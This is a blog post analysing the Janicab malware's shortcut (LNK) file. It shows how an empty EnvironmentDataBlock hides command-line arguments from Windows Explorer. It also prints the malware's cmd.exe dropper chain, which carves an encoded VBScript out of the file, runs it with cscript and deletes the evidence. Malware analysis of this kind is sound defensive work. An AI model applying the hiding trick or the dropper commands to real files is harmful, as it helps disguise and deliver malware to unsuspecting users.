Last week I noticed a month-old post from F-Secure titled "Janicab Hides Behind Undocumented LNK Functionality" in my RSS Reader. I had starred it but never had time to read and analyze it thoroughly. Post title and their statement caught my attention:
But the most interesting part is the use of an undocumented method for hiding the command line argument string from Windows Explorer.
What is this undocumented functionality you're talking about? Tell me more! Unfortunately, they didn't provide any technical details just some screenshots.
I'm gonna fix that (and have some fun in process) 🙂
Initial findings and available tools (are crap)
Armed with information from FSecure's post, I started Googling. In a few minutes I found VirusTotal scan and a couple of searches later the LNK file itself. Now what?
I'm not a LNK file expert and I don't have magic tools for analyzing them. So, I did what everyone else would - Googled again. There are 3 tools that can be found easily:
- 010Editor template by Didier Stevens
- Demo version of LinkAlyzer by Sanderson Forensics
- lnk-parser on GoogleCode
All of these tools showed the same information as VirusTotal scan - absolutely nothing useful. See for yourself in screenshots:
Marked in blue is the final structure of LNK file, as per 010Editor Template. COMMAND_LINE_ARGUMENTS are empty. And it looks like malware authors somehow managed to put the real command-line "/c copy *.jpg.lnk..." outside the defined structures, right? How's that possible?
So, I got an official Shell Link (.LNK) Binary File Format specification by Microsoft and started reading.
Fixing 010Editor template
LNK file consists of sequence of structures of variable size. There's always size of the structure, followed by data. Right after it there's a next size and next data. Size, data, size, data.. It's very easy to process, just look at the size, read the appropriate number of bytes, process them. Repeat until done. How hard is that?
Yet, Mr. Stevens (proudly calling himself Microsoft MVP Consumer Security, CISSP, GSSP-C, MCSD .NET, MCSE/Security, MCITP Windows Server 2008, RHCT, CCNP Security, OSWP) managed to mess up his template.
His implementation of LinkInfo structure looks like this:
typedef struct { DWORD LinkInfoSize; DWORD LinkInfoHeaderSize; LinkInfoFlags sLinkInfoFlags; DWORD VolumeIDOffset; DWORD LocalBasePathOffset; DWORD CommonNetworkRelativeLinkOffset; DWORD CommonPathSuffixOffset; if (LinkInfoHeaderSize >= 0x00000024 ) { DWORD LocalBasePathOffsetUnicode; DWORD CommonPathSuffixOffsetUnicode; } if (sLinkInfoFlags.VolumeIDAndLocalBasePath == 1) { VolumeID sVolumeID; string LocalBasePath; string CommonPathSuffix; } if (sLinkInfoFlags.CommonNetworkRelativeLinkAndPathSuffix == 1) { CommonNetworkRelativeLink sCommonNetworkRelativeLink; } } LinkInfo;
He just reads all the fields one after another and expects that the length of all the fields will be equal to the size of structure (LinkInfoSize). Sure, it might work on "normal" LNK files but we're dealing with malware and intentionally modified files here. 😉
After fixing that and few more bugs in the template, I was able to see the proper structure of this LNK file:
Command-line passed to cmd.exe is exactly where it should be, so why is Windows Explorer having problems with it?
Modifications in LNK file
Well, let's look at the file in more details.
Looks like someone took a hex editor and just filled with zeroes every possible field in most of ItemID structures.
Same in LinkInfo, lots of zeroes.
And in EnvironmentDataBlock too..
Hmm, this is interesting, 0xA0000000 is not a defined ExtraData structure ID according to MS spec.
Well, there are lots of changes but which one(-s) are causing the Explorer cockup F-Secure is mentioning? There are two ways to find it - debugging Windows Explorer shell, or making a test LNK file and filling it with zeroes until Explorer breaks. First one would be fun, but second one will be definitely faster. 😉
After few attempts, I found the culprit: it's the modified EnvironmentDataBlock.
So, now you know. Adding empty EnvironmentDataBlock to any shortcut and setting ShellLinkHeader.LinkFlags.HasExpString = 1 will cause Windows Explorer to hide your command-line (but not exe name) from the user. 😈
Command line magic and steganography
I wanted to finish my analysis but some things were still bugging me.
What are these data after the end-of-file marker? And why is this LNK file 500+KB in size?
The answer is simple - it's using steganography to hide malicious VBScript inside.
Let's look at the commands passed to cmd.exe, I'll just prettify them a bit. To do it properly, you need to know about command prompt escape characters, like "^" (at first I didn't and FSecure got it wrong in their blogpost, too! 😉 ). These are the actual commands:
copy *.jpg.lnk %tmp%
%systemdrive%
cd %tmp%
dir /b /s *.jpg.lnk>o
echo set /p f=^<o>.bat
echo type "%f%"^>z9>>.bat
echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del *.lnk /S /Q /Y>>.bat
.bat
First few lines are copying our LNK file to TEMP folder. Remember, FSecure analysis says that LNK file was originally called fotomama.jpg.lnk. 😉
dir command is printing full filename of our evil file into another file named "o".
echo lines are generating file .bat.
And finally .bat is executed.
So, what is being written into .bat?
set /p f=<o
type "%f%">z9
findstr /R /C:"#@~" z9>1.vbe&cscript 1.vbe&del *.lnk /S /Q /Y
First 2 lines just copy our evil file to z9. I really don't know why file copy is done via environment variables, maybe it's some sort of anti-antivirus trick to hide the malware origin.
findstr treats z9 as text file and copies all "lines" of text that contain "#@~" into a file 1.vbe. If you Google a bit, you'll learn that encrypted VBScript files have extension .vbe, consist of one long string and start with magic bytes "#@~^"".
Then a script gets executed, LNK file deleted and stupid user ends up being pwned. 🙂
Now, the bytes after end-of-file marker in LNK file start to make sense. 0x0A is new-line that's necessary for findstr, and then comes encrypted VBScript. Nice example of steganography, lots of black command-prompt scripting magic, I really like it! 😉
Decoding VBE file and analyzing it - that's a matter of another blog post. Yes, it's really on my todo list.
Fixed LNK Template
I spent few more evenings working on the LNK template. It was just bugging me, to have something so useful, yet so terribly broken. So, I'm happy to present a fully reworked version that should be much more stable and able to deal with malicious LNK files in much better fashion.
Download link: https://www.mediafire.com/?zvrlmjy9v9m3ed3
Final thoughts
This was a fun evening project. I learned a lot about 010Editor Binary Templates, learned something new about LNK files and got a refresher course in CMD scripting and steganography. Writing this post took much much more time than the actual research, though.
If you want to have some fun too, you can use my 010Editor Template to edit your LNK files. Or make a simple tool in C#. Or create a LNK obfuscation service webpage in PHP. Possibilities are endless! 🙂
Obviously I won't give out link to an actual malware (if Google is your friend, you can find it anyway) but here's a demo LNK file I put together just for fun: http://www.mediafire.com/?gmphyn0mkmmyuag
It's harmless, trust me! 😀
Useful links
FSecure post that started my adventure
Original LNK Template
Official LNK specification by Microsoft
Overview of LNK file data that are useful for computer forensics
Updated the URL to the new location for the MS LNK Spec.
{hidden link}
To prevent comment spam, links posted by users are hidden. 🙂
Here's the link from Riley's comment: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
Thanks for the heads up!